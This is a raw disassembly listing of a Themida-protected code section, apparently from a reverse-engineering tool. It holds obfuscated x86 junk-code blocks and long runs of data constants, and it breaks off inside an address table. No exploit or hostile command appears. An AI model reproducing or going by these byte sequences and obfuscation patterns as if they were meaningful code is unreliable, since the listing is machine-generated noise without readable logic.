XREF: Themida_:0054E7E5j push 3659h mov [esp], edi mov edi, 43D6030Dh mov edx, edi pop edi xor edx, 21DE43BFh add edx, 4569546Ch xor edx, 0A771951Ah add ebp, edx push dword ptr [esp] pop edx add esp, 4 xchg ebp, [esp] mov esp, [esp] add esp, 4 imul ecx push edi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edi push edx mov edx, 702771A9h jmp loc_548BC4 ; --------------------------------------------------------------------------- db 0B8h dd 5EE863C9h, 0E863CDBBh, 3FFE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DB56: ; CODE XREF: Themida_:0054423Aj pop esp add esp, 4 jmp loc_54469F ; --------------------------------------------------------------------------- dw 1C33h dd 24248B24h, 2896664h, 0FF8B31E9h, 241C33FFh, 33241C31h dd 38E9241Ch, 89000010h, 0E38953E2h, 4C381h, 0EB830000h dd 241C8704h, 243C895Ch, 0FF6D12E9h, 240C89FFh, 4B9h, 631E2D00h dd 0C8011D8Eh, 8E631E05h, 240C8B1Dh, 81E18951h, 4C1h, 4C18300h dd 5C240C87h, 205h, 17C96800h, 4890000h, 2474FF24h, 0D35E904h dd 1590000h, 0B8505FFEh, 55C10B1Fh, 2414F750h, 0FFD543E9h dd 7BA52FFh, 8923256Ch, 0B1ECE9D7h, 6868FFFFh, 8B0A9C27h dd 0C4812434h, 4, 34FFF031h, 89515E24h, 4C181E1h, 0E9000000h dd 0FFFF6E22h, 2BB53h, 0D8010000h, 2404875Bh, 0E924248Bh dd 0FFFFC602h, 1BE668h, 0C40FE900h, 7401FFFFh, 0E95E0424h dd 0FFFF77C7h ; --------------------------------------------------------------------------- loc_54DC40: ; CODE XREF: Themida_:00543551j pop dx mov ch, al pop eax and dh, ch jmp loc_546B6D ; --------------------------------------------------------------------------- dd 0D324248Bh, 0E99C2424h, 0FFFF4AD0h, 81241C8Bh, 4C4h dd 4C38100h, 83000000h, 2E904C3h, 0F7FFFFFFh, 0BFC105D0h dd 0BB539D72h, 59F16BE0h, 0E95BDA01h, 0FFFFC51Ah, 240C8B66h dd 0E3895356h, 4BA52h, 0D3010000h, 4EB815Ah, 87000000h dd 545C241Ch, 8124048Fh, 42404h, 348B0000h, 4C48324h, 0FFE262E9h dd 58C231FFh, 0C104EAC1h, 555304E2h, 8670B2BDh, 0E9EB8913h dd 0FFFFCC3Dh, 0E9243489h, 0FFFFF275h, 405h, 0C410E900h dd 0C483FFFFh, 4C48104h, 31000000h, 0B25251C3h, 0FFC280F6h dd 80CDE280h, 0CA80E6C2h, 9B0E92Fh, 0C8B0000h, 4C48124h dd 2D000000h, 2, 0FFC154E9h, 5F252DFFh, 0DE91A45h, 57FFFF4Ah dd 0FF91D1E9h, 89F989FFh, 0C795E9CAh, 0EB81FFFFh, 37D84596h dd 613DE381h, 0E381672Dh, 19210495h, 7D1E9h, 4EC8100h dd 89000000h, 0D2E92404h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DD4F: ; CODE XREF: Themida_:0054BEB3j mov cx, [esp] sub esp, 4 mov [esp], ebx push 5401h mov [esp], esp jmp loc_547580 ; --------------------------------------------------------------------------- loc_54DD66: ; CODE XREF: Themida_:005453E3j pop esp push eax mov al, 81h sub al, 0F3h jmp loc_54E0AE ; --------------------------------------------------------------------------- db 0B3h, 94h, 30h dd 0FE5B66DCh, 0B7B353CCh, 0D05BDC30h, 0FA15E9E4h, 0E981FFFFh dd 674F7B7Ah, 216DE181h, 0C9812CEDh, 2E525F8h, 8DF6E953h dd 0EB81FFFFh, 0FD3936BBh, 4F5BDF21h, 0E1C7814Fh, 81268925h dd 103DDFC7h, 5FFE296Ch, 5EF2015Fh, 0FF95A9E9h, 2C77FFFFh dd 0FF495FE9h, 11ACBDFFh, 0DDF759DFh, 0ED81DDF7h, 32EA4494h dd 32ECC581h, 6C01D90Bh, 5B5D0424h, 4BA52h, 0EB810000h dd 380C30BCh, 0FF7335E9h, 4E3C1FFh, 0FFFE2FE9h, 4C281FFh dd 83000000h, 148704C2h, 0B8E95C24h, 1FFFFE2h, 148759CAh dd 0B70F5C24h, 11AB68C8h, 0C890000h, 4902E924h, 431FFFFh dd 48FAE924h, 2C31FFFFh, 242C3324h, 0E924248Bh, 0FFFF48ECh dd 0E6EE80h, 0DDE95AF0h, 0C1FFFFCCh, 0C28106EAh, 0FE829226h dd 815AD101h, 4C1h, 240C3300h, 33240C31h, 0E95C240Ch, 0FFFF49A6h dd 96E95A66h, 66FFFF6Dh, 8324048Bh, 2C8904ECh, 4EC8324h dd 83242489h, 5D042404h, 7D9668h, 24148900h, 4BB53h, 0F4E90000h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DE97: ; CODE XREF: Themida_:00547007j add ecx, 0DA9FB109h xor edx, ecx pop ecx add edi, edx pop edx push esi jmp loc_54E5A8 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0D6h dd 134A249h, 0D6C781F7h, 0E934A249h, 0FFFFD0C6h, 0F137E1BDh dd 8FED8105h, 0E94C4454h, 0FFFF5263h, 3B68EB81h, 0E9591B00h dd 0FFFF7FE8h, 875BD801h, 0E95C2404h, 0FFFFDBD9h ; --------------------------------------------------------------------------- loc_54DEE4: ; CODE XREF: Themida_:0054B115j add dword ptr [esp], 4 pop edi push 5E98h mov [esp], ebp mov ebp, 4 add edi, ebp jmp loc_54CCFB ; --------------------------------------------------------------------------- dd 7AAE68h, 24048900h, 6EA168h, 241C8900h, 0E951E389h dd 0FFFF4C54h, 83585B5Bh, 2C3304EDh, 0DED8E924h, 15FFFFFh dd 2434FFEEh, 0FF66BAE9h, 24048FFFh, 2424D25Ch, 47EAE99Ch dd 0EF81FFFFh, 0AEFFE6ADh, 7910EA81h, 0C2817CABh, 2A081C7Fh dd 0FFE2FCE9h, 8BC329FFh, 0C4812404h, 4, 1D3D142Dh, 52D80168h dd 0FF8028E9h, 81E7D1FFh, 11517BEFh, 2E7C11Eh, 0FFF487E9h dd 242C89FFh, 0FFFFFFBDh, 246F29FFh, 55242C8Bh, 0FFB994E9h dd 8BF701FFh, 0C4832434h, 0A5C4E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF9E: ; CODE XREF: Themida_:0054D140j push esp pop esi add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push edi mov edi, 194F39FCh jmp loc_546E4F ; --------------------------------------------------------------------------- dd 8324148Bh, 0C78104C4h, 7E6574AFh, 0FF5EEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DFD1: ; CODE XREF: Themida_:00543D36j mov esp, [esp] sub esp, 4 mov [esp], ebx mov bh, dl push edx push ecx push eax mov ah, bh mov ch, ah pop eax mov dl, ch pop ecx mov [edi+eax*4+1], dl pop edx pop ebx jmp loc_542728 ; --------------------------------------------------------------------------- dd offset loc_41A968 align 2 dw 3C89h dd 2185BF24h, 0DCE9337Eh, 81FFFFB2h, 0BACB50C6h, 0B0EDE9BAh dd 14F7FFFFh, 6DC8E924h, 31ADFFFFh, 0E95556D8h, 0FFFF5F12h ; --------------------------------------------------------------------------- loc_54E024: ; CODE XREF: Themida_:00545639j pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] imul cx, ax jmp loc_5471BE ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5CDD68h, 0B3E0E900h, 168FFFFh, 0FF000000h, 2C8B2434h dd 0B1E95024h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E05B: ; CODE XREF: Themida_:0054765Bj push edi push dword ptr [esp+4] jmp loc_549AC3 ; --------------------------------------------------------------------------- db 29h, 0F3h, 51h dd 0E1608EB9h, 0DB29E939h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E072: ; CODE XREF: Themida_:0054624Bj xchg ebp, [esp] pop esp jmp loc_548A2B ; --------------------------------------------------------------------------- db 0FFh dd 5E042474h, 5C24048Fh, 0FFAC2EE9h, 5EF301FFh, 0F381D3F7h dd 47F72CCEh, 0FFBF10E9h, 4EC81FFh, 89000000h, 0E954241Ch dd 0FFFF7FE4h, 5447E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E0AE: ; CODE XREF: Themida_:0054DD6Cj add al, 8Ah mov dl, al pop eax jmp loc_546057 ; --------------------------------------------------------------------------- dd 4B8505Ah, 29000000h, 0C3B3E9C3h, 0C481FFFFh, 4, 0FFA4E8E9h dd 0C8B66FFh, 0E7895724h, 4C781h, 0EF810000h, 4, 0E9243C87h dd 0FFFFF402h, 0E904E2C0h, 0FFFFA1D1h, 8104C483h, 4C5h dd 4C58100h, 87000000h, 515C242Ch, 0C181E189h, 4, 4B850h dd 0F5E90000h, 8100000Eh, 0A8FD98EAh, 0E9D5210Ah, 0FFFFE306h dd 215AD001h, 0EA8158C2h, 30FDh, 875AD101h, 685C240Ch dd 4504h, 0E9241C89h, 0FFFF9C68h, 7C8FBD55h, 0E9571E41h dd 0FFFFAA27h, 0BE76866h, 24048966h, 0FF45C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E161: ; CODE XREF: Themida_:005467D6j mov eax, 483E5B1Eh push 7849h jmp loc_54D621 ; --------------------------------------------------------------------------- dd 24148B66h, 0E95F5457h, 0FFFFB02Ah, 0FF45A7E9h, 4EC81FFh dd 89000000h, 468243Ch, 5F000000h, 3C8BFA01h, 4C48124h dd 33000000h, 14312414h, 24143324h, 0E924248Bh, 0FFFFC509h dd 8059EE08h, 0C380DFEEh, 98FBE920h, 3433FFFFh, 24343124h dd 8B243433h, 5DE92424h, 0ACFFFF45h, 808EB551h, 5352EBCDh dd 0FF75E1E9h, 0E9C15CFFh, 1C77FF07h, 0F7240481h, 0E900CE08h dd 0FFFF9640h, 240CFF52h, 6E2C15Ah, 3DC4C281h, 16E99EE5h dd 89FFFF55h, 5AE92404h, 0FFFFFF7Fh, 669D1C77h, 241CD259h dd 6BC7E99Ch, 3487FFFFh, 3C895C24h, 1919BF24h, 0ABE97E26h dd 55FFFFE9h, 4647FC68h, 3BE95D29h, 29000009h, 0E0C15BD8h dd 9E1FE908h, 0BE56FFFFh, 4, 0E95EF229h, 0FFFF49E4h, 81242489h dd 42404h, 83590000h, 48904ECh, 1BC3B824h, 0E8C1623Fh dd 0E9D0F707h, 0FFFF4652h, 24048F5Ch, 66AFE95Ch, 0BA52FFFFh dd 4F1971A2h, 0FF4D56E9h, 2434FFFFh, 4C4835Bh, 3110E8C1h dd 585750C8h, 81243C8Bh, 4C4h, 8845E900h, 685BFFFFh, 23E7h dd 0B9240C89h, 33EC7A91h, 8141D1F7h, 640D1FF1h, 0E9D1F733h dd 0FFFFACB8h, 2414895Ch, 0C281E289h, 4, 5304C283h, 0FFD998E9h dd 241433FFh, 6624248Bh, 9C240CD3h, 0FF4447E9h, 0E9E951FFh dd 53FFFFA1h, 0E36EFEBBh, 7867E969h, 0CA81FFFFh, 63B64B6Fh dd 0FFFE1EE9h, 5BF281FFh, 5F79C810h, 0FF586BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E309: ; CODE XREF: Themida_:0054DA31j push ebx mov ebx, 4 add esi, ebx pop ebx xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_54E5F3 ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 24048700h, 0C124248Bh, 0C83112E8h dd 24048750h, 487D0F7h, 2434FF24h, 0FFE647E9h, 24048FFFh dd 3124248Bh, 0EC8152D2h, 4, 83242489h, 8B042404h, 0C4812414h dd 4, 4C281h, 0B4680000h, 0E9000033h, 4AAh, 4C381h, 0BF570000h dd 2B112692h, 1EE2C781h, 0E9471324h, 0FFFFC007h, 5E7068h dd 24348900h, 67836855h, 0C15D7B59h, 0ED8102E5h, 8606802Eh dd 15DEE89h, 5E042474h, 6824048Bh, 60EFh, 89241489h, 0C555E9E2h dd 0EC81FFFFh, 4, 51241C89h, 712106B9h, 0DEC1816Eh, 8905A722h dd 0E95759CBh, 0FFFFBA2Ch, 4C6815Eh, 81000000h, 4EEh, 24348700h dd 0B25FE95Ch, 0C483FFFFh, 5BE95604h, 81FFFFC6h, 4C4h dd 81FE0100h, 0B54402C6h, 243C8B3Fh, 4C481h, 34870000h dd 34FF5C24h, 24048B24h, 4C481h, 89500000h, 0D322E9E0h dd 805AFFFFh, 0A5E900C3h, 55FFFFE6h, 242C8B5Fh, 4C481h dd 0C5810000h, 5F3E4492h, 0FF5054E9h, 24248BFFh, 24042166h dd 5FC0E99Ch, 0E94DFFFFh, 0FFFF602Bh, 0E9E68956h, 0B35h dd 242C3166h, 242C3366h, 242C3166h, 0FF42AFE9h, 53042CFFh dd 0FF80B1E9h, 503AB9FFh, 0E1C11A31h, 0D9E95705h, 81FFFFBCh dd 95B95CDh, 0CF58100h, 29418F01h, 0C3815DEBh, 4B443378h dd 0EB81D329h, 4B443378h, 5EB1C381h, 148B1510h, 4C48324h dd 0C381C301h, 3297526Ch, 0E9008F66h, 0FFFF4260h, 8904EC83h dd 0A6BB241Ch, 0C1630438h, 0F4E903EBh, 0D1FFFFD3h, 0B9E781EFh dd 52591203h, 0FFB3CDE9h, 243489FFh, 5968E689h, 89000004h dd 0A0B82404h, 48590872h, 0E4282625h, 6E0C174h, 17CBE56h dd 0F0290008h, 6F0FE95Eh, 0EB81FFFFh, 281A6D93h, 6D83C381h dd 0D98926F9h, 59CA015Bh, 3304C283h, 0D9E92414h, 89000008h dd 4E92404h, 1FFFFB5h, 57EE81CEh, 5958496Ch, 2C681h, 0FF560000h dd 5E042474h, 0E924048Fh, 0FFFF56EEh, 4EF81h, 0A0E90000h dd 81FFFFCFh, 0A74D72C1h, 59C83191h, 5ED07A05h, 58C12104h dd 5EE9D9F7h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E577: ; CODE XREF: Themida_:00543543j pop ecx add edx, 4 xchg edx, [esp] jmp loc_54ABC7 ; --------------------------------------------------------------------------- dw 0F281h dd 2F1CF719h, 565AD001h, 0FF4E97E9h, 240C87FFh, 240C895Ch dd 0BD0B90B9h, 0E9D9F71Bh, 0FFFFAD08h ; --------------------------------------------------------------------------- loc_54E5A8: ; CODE XREF: Themida_:0054DEA4j mov esi, 4 sub edi, 1E021437h add edi, esi add edi, 1E021437h mov esi, [esp] add esp, 4 xchg edi, [esp] jmp loc_54BFD6 ; --------------------------------------------------------------------------- db 88h, 0C1h, 88h dd 1BE959CBh, 57FFFFA5h, 0FFDFFAE9h, 0C3295FFFh, 12BA5256h dd 8962A017h, 0C3815AD6h, 9975947h, 0ECE9F301h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E5F3: ; CODE XREF: Themida_:0054E31Fj jmp loc_542728 ; --------------------------------------------------------------------------- dd 0B2241489h, 0AFB45056h, 8076CC80h, 0DCF6D8C4h, 3002C480h dd 0B85DE9E2h, 0B850FFFFh, 129230BAh, 8158C709h, 0EA6509EFh dd 8BFE89F5h, 0C481243Ch, 4, 4E03E6C1h, 0FFFFC681h, 0EE81FFFFh dd 0CA3C82DDh, 515EF329h, 0C91561B9h, 0C957E937h, 1489FFFFh dd 1BA24h, 0D0210000h, 0FF2434FFh, 0E95A2434h, 0FFFFF9DAh dd 81242C8Bh, 4C4h, 24348B00h, 2104C483h, 242C8BE9h, 0C104C483h dd 89510AE9h, 4C181E1h, 0E9000000h, 0FFFFB87Bh, 0FCC7815Eh dd 0E928AA47h, 0FFFFF815h, 2434FF5Eh, 4C4835Fh, 0B60F665Fh dd 69686600h, 4896642h, 407AE924h, 0E2C0FFFFh, 4EC8104h dd 0E9000000h, 0FFFFF1FEh, 4C481h, 51E90000h, 5DFFFFF5h dd 4C581h, 0D2680000h, 0E9000007h, 0FFFFA620h, 4B850h dd 0C3010000h, 0F3C2E958h, 1C8BFFFFh, 4C48124h, 50000000h dd 0FF8DACE9h, 0FEC0FEFFh, 30462CC8h, 0CE8058C6h, 0B5516606h dd 66EE001Bh, 60F68059h, 80FBF680h, 71E9D9EEh, 1FFFFD5h dd 14C681FEh, 0E95C0802h, 0FFFFBCDCh, 5205EBC1h, 0F14023BAh dd 9516E921h, 48BFFFFh, 4C48124h, 83000000h, 3C8904ECh dd 4EC8124h, 89000000h, 75E92424h, 89FFFF75h, 0C125E9F7h dd 0EE80FFFFh, 0F6C6FE45h, 0F6DEF6D6h, 70C680DEh, 0FF4617E9h dd 56E589FFh, 4BEh, 5EF50100h, 568F68h, 24048900h, 2B8h dd 31ED8100h, 534D6725h, 0C12389BBh, 0D6B9E91Ah, 0F131FFFFh dd 0FFCD7EE9h, 445368FFh, 0DDE90000h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E7A3: ; CODE XREF: Themida_:00542A85j xchg ebp, [esp] pop esp push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_54C4C7 ; --------------------------------------------------------------------------- dd 8102E1C1h, 99607FC1h, 0E9CA0919h, 0FFFF5327h, 44C468h dd 241C8900h, 694F6852h, 64E96613h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E7DB: ; CODE XREF: Themida_:0054B0AAj not dh jmp loc_54D976 ; --------------------------------------------------------------------------- loc_54E7E2: ; CODE XREF: Themida_:0054836Ej mov [esp], edx jmp loc_54DAF3 ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 83000000h, 348704C6h, 0D647E924h, 0EC81FFFFh dd 4, 0FF6395E9h, 65C468FFh, 24890000h, 5B85E924h, 335AFFFFh dd 4312404h, 0C941E924h, 0C89FFFFh, 0E15BE924h, 8952FFFFh dd 0E6CBE9E2h, 3433FFFFh, 0D4F4E924h, 0B60FFFFFh, 8734FFC0h dd 92243481h, 5875E441h, 8904EC83h, 0B2BB241Ch, 52595B32h dd 76F120BAh, 5AD329E3h, 34FFD831h, 0FE80E924h, 0F68FFFFh dd 6800000Dh, 4C28h, 0E9243489h, 65Dh, 3045EF81h, 0BE563424h dd 23082F2Fh, 0C108EEC1h, 0C68107E6h, 1A5EFB12h, 0FFD942E9h dd 245431FFh, 48B5A04h, 4C48324h, 0FF49FDE9h, 4C481FFh dd 0E9000000h, 0FFFFDFCDh, 0F7814F5Dh, 5A3160F7h, 6AA168h dd 24348900h, 6609BD55h, 0CD817070h, 46C1641Ch, 0BE56h dd 67E90000h, 66FFFFCEh, 8FB35359h, 45BD828h, 2CD80023h dd 34B25223h, 0FFCB6FE9h, 5AD501FFh, 0FFA001E9h, 895659FFh dd 4C681E6h, 83000000h, 348704C6h, 14E95C24h, 8BFFFF8Bh dd 0C4812404h, 4, 0E924048Fh, 0FFFF5E2Fh, 0FFC0B60Fh, 0E9518734h dd 0FFFFC234h, 0B8F2815Fh, 0F770433Ah, 94F281D2h, 89E529A3h dd 0FB015AD3h, 0FF5CC0E9h, 0C8B66FFh, 4EC8124h, 89000000h dd 0E9542404h, 0FFFFB9BAh, 0C52F15BDh, 0E9FD311Eh, 0FFFFBCD8h dd 486368h, 24148900h, 134825BAh, 0AEF0E948h, 481FFFFh dd 424h, 0BA525D00h, 2C363327h, 0EA81DAF7h, 0B5717Bh, 0FFD364E9h dd 4EC83FFh, 0BF243C89h, 3432721Bh, 815FF989h, 0D64BD1C1h dd 0F6C98174h, 0E947843Bh, 0FFFFC836h, 0E95AC480h, 0FFFFEB99h dd 8B241C87h, 3C892424h, 728BF24h, 18E97055h, 5AFFFFE3h dd 79C66866h, 240C8966h, 88DEB050h, 0CBF2E9C1h, 0E281FFFFh dd 514902A3h, 0C102E2C1h, 0C28103E2h, 5D4322F9h, 22F5EA81h dd 0D6017D43h, 0FF7F82E9h, 3D2AE9FFh, 1C31FFFFh, 241C3324h dd 0FF85DCE9h, 0D1C209FFh, 8D768E2h, 0C890000h, 4EC8124h dd 89000000h, 0BE56243Ch, 0FFFFFFFFh, 34FF5F56h, 0C4815E24h dd 4, 3C8BF989h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 0FFD02EE9h, 3A9768FFh, 24890000h, 8E4FE924h, 248BFFFFh dd 24040124h, 3CC2E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA66: ; CODE XREF: Themida_:005435F4j pop ebp sub esp, 4 jmp loc_543FE1 ; --------------------------------------------------------------------------- db 56h dd 22472FBEh, 472BB83Dh, 0F0313D22h, 0FFB9DDE9h, 0B8E681FFh dd 813A6E11h, 0B578DDE6h, 81DEF748h, 0E266F3CEh, 74F68172h dd 1DF0FE9h, 0F0015EF0h, 0FFA5BBE9h, 53F381FFh, 814C7448h dd 0A9EB7EC3h, 5BD80126h, 6A36851h, 0C1594079h, 0F18108E9h dd 2C7676D9h, 93727505h, 2DC80166h, 66937275h, 0C0835D59h dd 24048702h, 2404D25Ch, 0E5B3E99Ch, 0D5F7FFFFh, 6403E945h dd 8B66FFFFh, 0EC812404h, 4, 68240489h, 2C5Ah, 83242489h dd 8B042404h, 7CE92404h, 56FFFFE2h, 0C6815E54h, 4, 8904EC83h dd 2BA2414h, 81000000h, 0F20AE8C6h, 55D6012Bh, 0F20AE8BDh dd 0E9EE292Bh, 0FFFFCAC2h, 28ED815Dh, 4D6E094Fh, 8108EDC1h dd 0CF3AB8EDh, 5DE98900h, 57E9CA29h, 56FFFF3Dh, 0FFA185E9h dd 81EB01FFh, 0F66A9DC3h, 242C8B3Bh, 0FFB76BE9h, 243433FFh dd 0E6A4E95Ch, 0E929FFFFh, 46EF815Dh, 0E912F74Ah, 0FFFFAD12h dd 89240C89h, 7309E9E1h, 8F64FFFFh, 3B9AE902h, 0E95EFFFFh dd 0FFFFA2CFh, 89242C89h, 49E950E5h, 81FFFFDDh, 4C1h, 4C18300h dd 5C240C87h, 0FF3B77E9h, 96E952FFh, 8BFFFFFEh, 4292424h dd 65E99C24h, 81FFFF3Bh, 3D6A0DE2h, 13AB6803h, 82E90000h dd 8BFFFF95h, 0EAE92414h, 81FFFFDEh, 4EBh, 0FDCEE900h dd 34FFFFFFh, 3BE95824h, 5FFFFFFCh, 8B2434FFh, 0C481243Ch dd 4, 4C481h, 53580000h, 996B7868h, 0DBF75B7Fh, 79E95157h dd 89FFFF91h, 72BB241Ch, 8171891Dh, 11418CF3h, 0FBE9504Eh dd 89FFFF8Bh, 4B951E5h, 1000000h, 0ED8159CDh, 4, 0FF8A97E9h dd 1C5721FFh, 5A2434FFh, 0FF6210E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EC49: ; CODE XREF: Themida_:00546CB1j mov esp, [esp] push ebx jmp loc_5481ED ; --------------------------------------------------------------------------- dw 0F780h dd 2818043Ch, 5B182CF8h, 0D8E95251h, 81FFFF91h, 2B09B7EBh dd 0B8505F58h, 2, 6E4CEB81h, 0C3297DBEh, 6E4CC381h, 87587DBEh dd 62E9241Ch, 5EFFFF91h, 0DA1BE95Bh, 0F929FFFFh, 0CF6DE95Fh dd 48BFFFFh, 4C48324h, 5B15E95Eh, 685BFFFFh, 4DEAh, 0FFD8CAE9h dd 24BAFFh, 0EA810000h, 5D9A20C1h, 3796BE56h, 0C146089Ah dd 0EE8105EEh, 27C62BCBh, 0A8C7C681h, 0F22956C1h, 0FF8718E9h dd 0E9EA01FFh, 0FFFFD641h, 8904EC83h, 1DE92414h, 48FFFF4Eh dd 0ED31062Dh, 0C789572Eh, 585FFD89h, 0FF3ED5E9h, 243489FFh dd 8904EC83h, 0BB532424h, 4, 4244481h, 29DB3910h, 4245C01h db 51h, 0B9h, 10h byte_54ED17 db 39h ; DATA XREF: Themida_:004E004Co dd 4C2929DBh, 8B590824h, 0C481241Ch, 4, 0BF57555Eh, 672110F7h dd 0FFFC1FE9h, 5E089FFh, 4, 8704E883h, 26E92404h, 87FFFF89h dd 895C2404h, 4BB241Ch, 1000000h, 27E95BD8h, 0FFFFFFA9h dd 8FE92434h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED63: ; CODE XREF: Themida_:00548AC4j dec ch inc ch neg ch dec ch add ch, 0DCh push ebx mov bh, 9 sub bh, 1Fh sub ch, bh pop ebx add bl, ch pop ecx movzx eax, al jmp loc_54B0F6 ; --------------------------------------------------------------------------- dw 0C87h dd 0ECE95C24h, 4FFFF98h, 4EC8138h, 89000000h, 21E9240Ch dd 83FFFFA7h, 343304EEh, 24343124h, 5C243433h, 89240489h dd 405E0h, 49680000h, 89000046h, 0AFE9243Ch, 87000000h dd 215C2414h, 240C8BC8h, 4C481h, 9BE90000h, 1FFFFA6h, 0B525E9E8h dd 6105FFFFh, 291DEBDAh, 0C68158C6h, 4B4B63A8h, 7BAAF681h dd 0C6814D4Fh, 4FD6F4FCh, 0E95EF709h, 0FFFFF142h, 1F03C281h dd 0E9552E5Dh, 0FFFF6A0Bh, 33241431h, 248B2414h, 240CFF24h dd 0E4AFE99Ch, 0EB80FFFFh, 405DE901h, 0C7BEFFFFh, 81269D33h dd 5700EECEh, 49C8E92Eh, 8853FFFFh, 4EC81EBh, 89000000h dd 0B82404h, 5000000h, 71156F1Bh, 1B2DD001h, 8871156Fh dd 0E93FE918h, 248BFFFFh, 0D6E95024h, 0FEFFFFFEh, 0E9CEFEC6h dd 0FFFF9DF1h, 0C40EE952h, 2BFFFFFh, 56000000h, 1606BBBEh dd 5EF0011Ah, 0BB2DF801h, 5F1A1606h, 0FF8D09E9h, 1C580FFh dd 8150EDD0h, 4ECh, 240C8900h, 0C58064B5h, 0A6C580E9h dd 3459E888h, 686Ch, 4280000h, 24048A24h, 0E904C483h, 0FFFF579Fh dd 51240489h, 964E0568h, 0F181595Fh, 75FC6326h, 0FF818DE9h dd 243433FFh, 0FFEA87E9h, 81E689FFh, 4C6h, 4EE8300h, 31243433h dd 34332434h, 0C895C24h, 57E18924h, 0FF613EE9h, 4FF52FFh dd 0B9515A24h, 725228E9h, 0E9C1D9F7h, 0F8AEE905h, 34FFFFFFh dd 2434FF24h, 0FFD748E9h, 0EF815FFFh, 65E1EABh, 0FF7BDFE9h dd 3802E9FFh, 0DF31FFFFh, 0CFE9D3F7h, 8BFFFF8Fh, 0C481241Ch dd 4, 4C381h, 0BE560000h, 4, 1C90EB81h, 0F3016EF7h, 0FF762FE9h dd 240C89FFh, 77CF68h, 82B8E900h, 0C483FFFFh, 476E6804h dd 3C890000h, 0EC7BE924h, 1C89FFFFh, 2FF3BB24h, 0E3C13C4Dh dd 4EC8104h, 0E9000000h, 0FFFF65B6h, 4240481h, 8B000000h dd 61E9242Ch, 8BFFFFF1h, 24048B08h, 0FF9289E9h, 0EBE957FFh dd 5CFFFFC2h, 6692C380h, 0EBE95052h, 81FFFF70h, 5A68242Ch dd 0BD55412Ah, 4013C81h, 4244481h, 6DF5102Eh, 4246C29h dd 4246C81h, 6DF5102Eh, 2404815Dh, 379841FEh, 81240401h dd 41FE242Ch, 4813798h, 13C8124h, 6CD0E904h, 2EBFFFFFh dd 0F71EB42Fh, 0A5CF81DFh, 503D8C2Bh, 553D05B8h, 0BF423567h dd 0C70102DFh, 0E9FB0158h, 0FFFFA823h, 8758C101h, 248B240Ch dd 4A30F24h, 5E99C24h, 52FFFF37h, 4BAh, 5AD30100h, 4EB81h dd 1C870000h, 7DAEE924h, 8B66FFFFh, 5452240Ch, 9A83E95Ah dd 8EBFFFFh, 3011h, 0A7520000h, 0FA05h, 0C1300000h, 18A42A64h dd 14F10000h, 213005Ah, 20000h, 10000h, 0 dd 0A7520000h, 0FA05h, 4 dup(0) dd 0A7630000h, 537F0055h, 61400055h, 44780055h, 6D30056h dd 5CB80055h, 0AE530055h, 1DE20055h, 28140056h, 0F6D70055h dd 64DC0055h, 139F0055h, 0FF770055h, 5C2F0054h, 0E9E00055h dd 32690055h, 38E00056h, 82D30056h, 27110055h, 34070056h dd 0D3C40055h, 308D0055h, 0BF750056h, 0FDC20055h, 156B0054h dd 0B600055h, 29DC0056h, 0E4BD0055h, 0ADD0055h, 85770056h dd 1A690055h, 7A720056h, 0E530055h, 0C3120055h, 0FDC00055h dd 0F7F40055h, 0F4360055h, 4B3C0055h, 9DF30055h, 27DC0055h dd 2B360055h, 1030055h, 0E7770056h, 4E5E0055h, 5BA20055h dd 8CA50055h, 0F7FF0055h, 36FF0055h, 0F3400056h, 70320055h dd 0A5290055h, 8A1E0055h, 0D9CD0055h, 9FEF0055h, 31670055h dd 3ACB0056h, 47A30056h, 31180056h, 0F7400055h, 78160055h dd 4C5B0055h, 0EAF50055h, 0CE6E0055h, 3EF80055h, 20210055h dd 364C0055h, 56DB0055h, 3F20055h, 2D1C0055h, 160F0056h dd 182A0055h, 0C3CC0056h, 0FE4F0055h, 2F530054h, 9FE30055h dd 3DFF0055h, 92E20055h, 7C330055h, 18480055h, 9010055h dd 0C2160056h, 0CA710055h, 6BF80055h, 0FF690055h, 150F0054h dd 80460055h, 29380055h, 7E50055h, 25C10056h, 1C120055h dd 17200056h, 6C300056h, 0A2970055h, 12730055h, 65D70055h dd 16DD0055h, 8C440055h, 58CC0055h, 0FB320055h, 29400054h dd 0A45C0055h, 0CA8F0055h, 0E6950055h, 4DE0055h, 8C170056h dd 2B920055h, 345A0055h, 166C0056h, 0D32C0056h, 21090055h dd 39530056h, 21D0056h, 0D120056h, 0C0190055h, 0A4AE0055h dd 585A0055h, 3E630055h, 40DD0055h, 7BC30056h, 0F7A30055h dd 2C430054h, 65230056h, 3BB20055h, 624D0056h, 0F1280055h dd 24C30055h, 0C7310056h, 0F7FD0055h, 35D40054h, 10240056h dd 5E4E0056h, 35700055h, 0F4DF0055h, 0F7610054h, 0E97F0054h dd 0CF100055h, 2B7C0055h, 0E3AE0056h, 368A0055h, 0CD620056h dd 0E270055h, 2B300055h, 78840056h, 